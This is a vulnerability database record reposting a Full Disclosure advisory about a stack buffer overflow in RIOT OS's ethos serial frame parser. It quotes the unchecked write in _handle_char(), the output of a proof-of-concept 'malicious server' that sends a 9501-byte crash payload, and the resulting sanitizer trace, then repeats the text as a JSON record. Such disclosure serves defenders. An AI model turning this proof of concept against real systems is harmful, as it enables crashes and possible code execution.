GCVE-1988-2026-0316

Vulnerability from gna-1988 – Published: 2026-09-09 13:42 – Updated: 2026-09-09 13:42
VLAI
Title
RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in RIOT ethos Serial Frame Parser
Summary
A stack-based buffer overflow vulnerability exists in the RIOT OS ethos utility due to missing bounds checking when processing incoming serial frame data. The vulnerability occurs in the _handle_char() function, where incoming frame bytes are appended to a fixed-size stack buffer (serial->frame) without verifying that the current write index (serial->framebytes) remains within bounds. An attacker capable of sending crafted serial or TCP-framed input can cause serial->framebytes to exceed the buffer size (MTU, 9000 bytes), resulting in a write past the end of the stack buffer. This condition leads to memory corruption, application crash, and potentially arbitrary code execution depending on compiler options and runtime protections. *Vulnerable Code:* static void _handle_char(serial_t *serial, char c) { serial->frame[serial->framebytes] = c; serial->framebytes++; } *Root Cause:* * serial->frame is a fixed-size stack buffer (char frame[MTU]) * serial->framebytes is unbounded and attacker-controlled * No validation against MTU before writing *Proof of Concept:* *listener:*# python3 payload.py This exploit acts as a MALICIOUS SERVER. Run ethos like: ./ethos tap0 tcp:127.0.0.1 20000 The exploit will send the payload when ethos connects. [*] Starting malicious server on 0.0.0.0:20000 [*] Architecture: aarch64 [*] Exploitation mode: crash [+] Server listening on 0.0.0.0:20000 [!] Waiting for ethos to connect... [*] Run ethos like this: ./ethos tap0 tcp:127.0.0.1 20000 [+] ethos client connected from ('127.0.0.1', 37114) [*] Generating crash payload... [+] Crash payload ready: 9501 bytes [*] Waiting 1 second before sending payload... [*] Sending malicious payload (9501 bytes)... [*] Sent 1024/9501 bytes... [*] Sent 2048/9501 bytes... [*] Sent 3072/9501 bytes... [*] Sent 4096/9501 bytes... [*] Sent 5120/9501 bytes... [*] Sent 6144/9501 bytes... [*] Sent 7168/9501 bytes... [*] Sent 8192/9501 bytes... [*] Sent 9216/9501 bytes... [*] Sent 9501/9501 bytes... [+] Payload sent successfully! [!] ethos client should crash now (check for ASAN output) [*] Received response: b'~}"\x00\x00\x00\x00\x00\x00~~}"\x00\x00\x00\x00\x00\x00~' [*] Connection from ('127.0.0.1', 37114) closed *Connection:* ./ethos tap0 tcp:127.0.0.1 20000 *Output:*----> ethos: sending hello. ----> ethos: activating serial pass through. ethos.c:186:5: runtime error: index 9000 out of bounds for type 'char[9000]' SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ethos.c:186:5 ================================================================= ==1375066==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xfbff8f804848 at pc 0xaaaae0b9fad0 bp 0xffffece78420 sp 0xffffece78418 WRITE of size 1 at 0xfbff8f804848 thread T0 #0 0xaaaae0b9facc in _handle_char /root/RIOT/dist/tools/ethos/ethos.c:186:39 #1 0xaaaae0b9ed38 in _serial_handle_byte /root/RIOT/dist/tools/ethos/ethos.c:216:17 #2 0xaaaae0b9ed38 in main /root/RIOT/dist/tools/ethos/ethos.c:559:34 #3 0xffff91162598 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #4 0xffff91162678 in __libc_start_main csu/../csu/libc-start.c:360:3 #5 0xaaaae0ab67ec in _start (/root/RIOT/dist/tools/ethos/ethos+0x367ec) (BuildId: 4734887eb4858e961729a4e74b8fbfbd73e74d82) _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
Impacted products
Vendor Product Version CPE status
unknown RIOT OS Affected: unknown
guessed Create a notification for this product.
Credits
Ron E
Relationships
analysis GCVE-1988-2026-0316 (this record)
To clipboard 

{
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          "value": "A stack-based buffer overflow vulnerability exists in the RIOT OS ethos\nutility due to missing bounds checking when processing incoming serial\nframe data. The vulnerability occurs in the _handle_char() function, where\nincoming frame bytes are appended to a fixed-size stack buffer\n(serial-\u003eframe) without verifying that the current write index\n(serial-\u003eframebytes) remains within bounds. An attacker capable of sending\ncrafted serial or TCP-framed input can cause serial-\u003eframebytes to exceed\nthe buffer size (MTU, 9000 bytes), resulting in a write past the end of the\nstack buffer. This condition leads to memory corruption, application crash,\nand potentially arbitrary code execution depending on compiler options and\nruntime protections.\n\n\n*Vulnerable Code:*\nstatic void _handle_char(serial_t *serial, char c)\n{\n    serial-\u003eframe[serial-\u003eframebytes] = c;\n    serial-\u003eframebytes++;\n}\n\n*Root Cause:*\n\n* serial-\u003eframe is a fixed-size stack buffer (char frame[MTU])\n* serial-\u003eframebytes is unbounded and attacker-controlled\n* No validation against MTU before writing\n\n\n\n*Proof of Concept:*\n\n\n*listener:*# python3 payload.py\n\nThis exploit acts as a MALICIOUS SERVER.\nRun ethos like: ./ethos tap0 tcp:127.0.0.1 20000\nThe exploit will send the payload when ethos connects.\n\n\n[*] Starting malicious server on 0.0.0.0:20000\n[*] Architecture: aarch64\n[*] Exploitation mode: crash\n\n[+] Server listening on 0.0.0.0:20000\n\n[!] Waiting for ethos to connect...\n[*] Run ethos like this:\n  ./ethos tap0 tcp:127.0.0.1 20000\n\n[+] ethos client connected from (\u0027127.0.0.1\u0027, 37114)\n[*] Generating crash payload...\n[+] Crash payload ready: 9501 bytes\n[*] Waiting 1 second before sending payload...\n[*] Sending malicious payload (9501 bytes)...\n[*] Sent 1024/9501 bytes...\n[*] Sent 2048/9501 bytes...\n[*] Sent 3072/9501 bytes...\n[*] Sent 4096/9501 bytes...\n[*] Sent 5120/9501 bytes...\n[*] Sent 6144/9501 bytes...\n[*] Sent 7168/9501 bytes...\n[*] Sent 8192/9501 bytes...\n[*] Sent 9216/9501 bytes...\n[*] Sent 9501/9501 bytes...\n[+] Payload sent successfully!\n[!] ethos client should crash now (check for ASAN output)\n[*] Received response:\nb\u0027~}\"\\x00\\x00\\x00\\x00\\x00\\x00~~}\"\\x00\\x00\\x00\\x00\\x00\\x00~\u0027\n[*] Connection from (\u0027127.0.0.1\u0027, 37114) closed\n\n\n\n*Connection:*\n./ethos tap0 tcp:127.0.0.1 20000\n\n\n\n*Output:*----\u003e ethos: sending hello.\n----\u003e ethos: activating serial pass through.\nethos.c:186:5: runtime error: index 9000 out of bounds for type \u0027char[9000]\u0027\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ethos.c:186:5\n=================================================================\n==1375066==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbff8f804848 at pc 0xaaaae0b9fad0 bp 0xffffece78420 sp 0xffffece78418\nWRITE of size 1 at 0xfbff8f804848 thread T0\n    #0 0xaaaae0b9facc in _handle_char\n/root/RIOT/dist/tools/ethos/ethos.c:186:39\n    #1 0xaaaae0b9ed38 in _serial_handle_byte\n/root/RIOT/dist/tools/ethos/ethos.c:216:17\n    #2 0xaaaae0b9ed38 in main /root/RIOT/dist/tools/ethos/ethos.c:559:34\n    #3 0xffff91162598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #4 0xffff91162678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #5 0xaaaae0ab67ec in _start (/root/RIOT/dist/tools/ethos/ethos+0x367ec)\n(BuildId: 4734887eb4858e961729a4e74b8fbfbd73e74d82)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
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